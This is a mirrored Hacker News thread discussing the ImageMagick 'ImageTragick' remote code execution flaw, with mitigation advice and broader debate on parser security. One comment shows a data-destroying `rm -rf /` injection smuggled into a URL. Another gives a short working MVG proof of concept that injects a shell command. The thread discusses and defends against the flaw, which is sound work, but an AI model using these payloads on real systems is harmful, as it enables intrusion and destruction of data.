TE
TechEcho
Home24h TopNewestBestAskShowJobs
GitHubTwitter
Home

TechEcho

A tech news platform built with Next.js, providing global tech news and discussions.

GitHubTwitter

Home

HomeNewestBestAskShowJobs

Resources

HackerNews APIOriginal HackerNewsNext.js

© 2025 TechEcho. All rights reserved.

Remote code execution vulnerability in ImageMagick

478 pointsby nthitzabout 9 years ago

28 comments

orfabout 9 years ago
So judging by this commit[1] and this line[2] I reckon you could somehow escape the &quot;wget&quot; command (assuming that&#x27;s what it invokes here[3]). The following characters were removed in the commit: &#x27; &#x27;, &#x27;&quot;&#x27;, &quot;&#x27;&quot;, &#x27;`&#x27;, &#x27;&lt;&#x27;, &#x27;\\&#x27;, &#x27;&gt;&#x27;.<p>If so then it&#x27;s not complicated file formats or buffer overflows, it&#x27;s an improperly escaped &#x27;system&#x27; call being fed user input in an obscure feature that probably shouldn&#x27;t have been included in the first place. Party like it&#x27;s 1999 guys.<p>Edit: I&#x27;m pretty sure this is an RCE issue. This function[4] replaces the placeholders in the wget command, which is this: `wget -q -O &quot;%o&quot; &quot;https:%M&quot;`<p>So seeing as %M is user controlled we can feed it a URL like &quot;&#x2F;&#x2F;hacker.com&#x2F;`rm -rf &#x2F;`&quot; and it will blindly pass it to the shell. Wow.<p>1. <a href="https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;commit&#x2F;a347456a1ef3b900c20402f9866992a17eb5d181" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;commit&#x2F;a347456a1e...</a><p>2. <a href="https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;blob&#x2F;e93e339c0a44cec16c08d78241f7aa3754485004&#x2F;MagickCore&#x2F;delegate.c#L99" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;blob&#x2F;e93e339c0a44...</a><p>3. <a href="https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;blob&#x2F;e93e339c0a44cec16c08d78241f7aa3754485004&#x2F;MagickCore&#x2F;delegate.c#L418" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;blob&#x2F;e93e339c0a44...</a><p>4. <a href="https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;blob&#x2F;32bdefdc31f122591569ffa5085794565ff3b117&#x2F;MagickCore&#x2F;property.c#L3170" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;blob&#x2F;32bdefdc31f1...</a>
评论 #11624336 未加载
评论 #11625852 未加载
评论 #11624267 未加载
评论 #11624212 未加载
评论 #11626164 未加载
评论 #11624154 未加载
评论 #11624151 未加载
lobbybobbyabout 9 years ago
PoC: save as file.mvg and then run convert file.mvg o.png<p>viewbox 0 0 1 1 image over 0,0 0,0 &#x27;<a href="https:&#x2F;&#x2F;test&#x2F;&quot;" rel="nofollow">https:&#x2F;&#x2F;test&#x2F;&quot;</a> &amp;&amp; touch &#x2F;tmp&#x2F;hacked &amp;&amp; echo &quot;1&#x27;
评论 #11624243 未加载
评论 #11624272 未加载
评论 #11627723 未加载
评论 #11627003 未加载
评论 #11626556 未加载
bruabout 9 years ago
Full story by one of the 2 finders on the oss-security@openwall mailing list: <a href="http:&#x2F;&#x2F;www.openwall.com&#x2F;lists&#x2F;oss-security&#x2F;2016&#x2F;05&#x2F;03&#x2F;18" rel="nofollow">http:&#x2F;&#x2F;www.openwall.com&#x2F;lists&#x2F;oss-security&#x2F;2016&#x2F;05&#x2F;03&#x2F;18</a>
评论 #11627392 未加载
whizzkidabout 9 years ago
Apparently Paperclip library already covered this long before this vulnerability is published.<p><a href="https:&#x2F;&#x2F;github.com&#x2F;thoughtbot&#x2F;paperclip&#x2F;issues&#x2F;2190#issuecomment-216638180" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;thoughtbot&#x2F;paperclip&#x2F;issues&#x2F;2190#issuecom...</a>
评论 #11625814 未加载
评论 #11627402 未加载
dorfsmayabout 9 years ago
I wonder if the same issue exist in GraphicsMagick.<p>Also, I am surprised how few people have switched from ImageMagick to graphocksMagic, given that the fork happened back in 2002 and that it offers significant improvements.<p><a href="http:&#x2F;&#x2F;www.graphicsmagick.org&#x2F;" rel="nofollow">http:&#x2F;&#x2F;www.graphicsmagick.org&#x2F;</a>
评论 #11625376 未加载
评论 #11631637 未加载
cm3about 9 years ago
I&#x27;ve been using GraphicsMagick for a while now. Is that also affected or is it just waiting to be checked for the same bugs?
评论 #11624158 未加载
评论 #11625626 未加载
评论 #11623984 未加载
评论 #11627012 未加载
评论 #11623977 未加载
nthitzabout 9 years ago
No PoC, but ImageMagick commit history might lead to some clues <a href="https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;commits&#x2F;master" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;ImageMagick&#x2F;ImageMagick&#x2F;commits&#x2F;master</a><p>edit: PoC here <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=11624056" rel="nofollow">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=11624056</a> though I haven&#x27;t ran it myself.
评论 #11623942 未加载
yanowitzabout 9 years ago
For Heroku, which has a read-only filesystem for &#x2F;etc, we did this: <a href="https:&#x2F;&#x2F;gist.github.com&#x2F;yanowitz&#x2F;8329d8b27d8294ca7027f504326fd629" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;yanowitz&#x2F;8329d8b27d8294ca7027f504326...</a>
评论 #11625947 未加载
ArtDevabout 9 years ago
Oh, this is scary. Drupal and Wordpress rely on Imagemagik. The amounts to a huge amount of the internet as a whole.
评论 #11623982 未加载
评论 #11625541 未加载
评论 #11623995 未加载
评论 #11624016 未加载
评论 #11626581 未加载
评论 #11625545 未加载
Someone1234about 9 years ago
People might be surprised how commonly used ImageMagick is. This could have a real world impact on a number of projects and services.
rmdossabout 9 years ago
Details here: <a href="http:&#x2F;&#x2F;www.openwall.com&#x2F;lists&#x2F;oss-security&#x2F;2016&#x2F;05&#x2F;03&#x2F;18" rel="nofollow">http:&#x2F;&#x2F;www.openwall.com&#x2F;lists&#x2F;oss-security&#x2F;2016&#x2F;05&#x2F;03&#x2F;18</a>
评论 #11625156 未加载
rbutabout 9 years ago
Has anyone determined if Python Wand is affected also? <a href="http:&#x2F;&#x2F;wand-py.org" rel="nofollow">http:&#x2F;&#x2F;wand-py.org</a><p>Edit: Or any other libmagickwand based project for that matter.
rmdossabout 9 years ago
Hard problem now: Find all places where ImageMagick is being used and no one knows about.
评论 #11626685 未加载
评论 #11624576 未加载
wimabout 9 years ago
Also make sure you don&#x27;t use it for any image formats that are processed by logic with the complexity of a small command-line interpreter. You&#x27;ll risk a lot of XXE vulns with formats like SVG or MVG. To see some examples of said logic, have a look at &#x27;convert -list delegate&#x27;, for example.
chippyabout 9 years ago
Shouldn&#x27;t there also be the HTTP coder included also? &lt;policy domain=&quot;coder&quot; rights=&quot;none&quot; pattern=&quot;HTTP&quot; &#x2F;&gt;<p>Also - would an example of using a HTTPS coder be:<p>convert <a href="https:&#x2F;&#x2F;example.com&#x2F;rose.jpg" rel="nofollow">https:&#x2F;&#x2F;example.com&#x2F;rose.jpg</a> ~&#x2F;rose.png
jhealyabout 9 years ago
For our use case, the only input formats we need to support are GIF, JPG and PNG.<p>Using policy.xml to disable EPHEMERAL, URL, HTTPS, MVG and MSL is a nice start, but is it also possible to disable PDF, open office, FTP and others? Where would I find a list of all the supported coders?
评论 #11625466 未加载
trumpy123about 9 years ago
<a href="http:&#x2F;&#x2F;nowere.net&#x2F;b&#x2F;res&#x2F;127615.html#i129473" rel="nofollow">http:&#x2F;&#x2F;nowere.net&#x2F;b&#x2F;res&#x2F;127615.html#i129473</a> This russian forum may contain some clues.
crb002about 9 years ago
Rule of the day. Ad hock parsers are the #1 infosec issue. AFL is the Killer Rabbit. The only defense is writing formal parsers on all inputs.
nodesocketabout 9 years ago
Does anybody have a library (prefer JavaScript) for inspecting files and extracting the file type using &quot;magic bytes&quot;[1]. Seems like most people probably blindly use mime-type, which appears to be incorrect and insecure.<p>[1] <a href="https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;List_of_file_signatures" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;List_of_file_signatures</a>
评论 #11625657 未加载
nerdyabout 9 years ago
Exploit samples: <a href="http:&#x2F;&#x2F;www.theregister.co.uk&#x2F;2016&#x2F;05&#x2F;04&#x2F;imagemagick_exploits_in_the_wild&#x2F;?utm_content=buffer408c4&amp;utm_medium=social&amp;utm_source=twitter.com&amp;utm_campaign=buffer" rel="nofollow">http:&#x2F;&#x2F;www.theregister.co.uk&#x2F;2016&#x2F;05&#x2F;04&#x2F;imagemagick_exploits...</a>
jackcosgroveabout 9 years ago
Would using a libmagic based tool to detect the magic bytes and content type be a valid mitigation strategy? The Node library mmmagic (<a href="https:&#x2F;&#x2F;github.com&#x2F;mscdex&#x2F;mmmagic" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;mscdex&#x2F;mmmagic</a>) already does this.
sucuri2about 9 years ago
We posted some more details here:<p><a href="https:&#x2F;&#x2F;blog.sucuri.net&#x2F;2016&#x2F;05&#x2F;imagemagick-remote-command-execution-vulnerability.html" rel="nofollow">https:&#x2F;&#x2F;blog.sucuri.net&#x2F;2016&#x2F;05&#x2F;imagemagick-remote-command-e...</a>
Illniyarabout 9 years ago
I love that security vulenarabilities have names now. I think it&#x27;s great for awareness.<p>But when you have magic in the software&#x27;s name you could do better then ImageTragic.<p>... though none come to me right now
评论 #11625285 未加载
SFJulieabout 9 years ago
Most images file format are insane. And people expect to convert insane document format to images, too.<p>Well. What did you expected?
djadminabout 9 years ago
WordPress&#x27;s Imagick Image Editor would be a problem?
Yuioupabout 9 years ago
First Heartbleed, then Badlock and now ImageTragick. Are bugs getting their own domains now?
评论 #11624042 未加载
评论 #11623934 未加载
评论 #11624550 未加载
评论 #11623961 未加载
评论 #11626872 未加载
fidzabout 9 years ago
I wonder why we are &quot;trademarking&quot; security issue since Heartbleed?
评论 #11628547 未加载
评论 #11625670 未加载
askyourmotherabout 9 years ago
So, we get it. Complicated file and network formats, handled in C code leads to these types of security issues.<p>We are told that Rust will save us. Glib answer - if it was going to, it already would have (and this is from someone already writing Rust code).<p>I hope it will lead to a change on two fronts:<p>1. Simpler formats for file representation and data interchange. When someone tries to add an extra bitfield option, say no. When they keep trying, get a wooden stick with &quot;no&quot; written on it. Part of the disease of modern computing is bloated specs.<p>2. Restrictive not permissive code bases. Exit and bail out early. Tell the user &quot;file corrupted&quot;. Push back.
评论 #11624005 未加载
评论 #11624032 未加载
评论 #11623910 未加载
评论 #11623985 未加载
评论 #11624089 未加载
评论 #11623891 未加载
评论 #11624038 未加载
评论 #11623917 未加载
评论 #11624132 未加载
评论 #11625841 未加载
评论 #11623935 未加载
评论 #11624160 未加载
评论 #11624052 未加载
评论 #11624996 未加载
评论 #11624048 未加载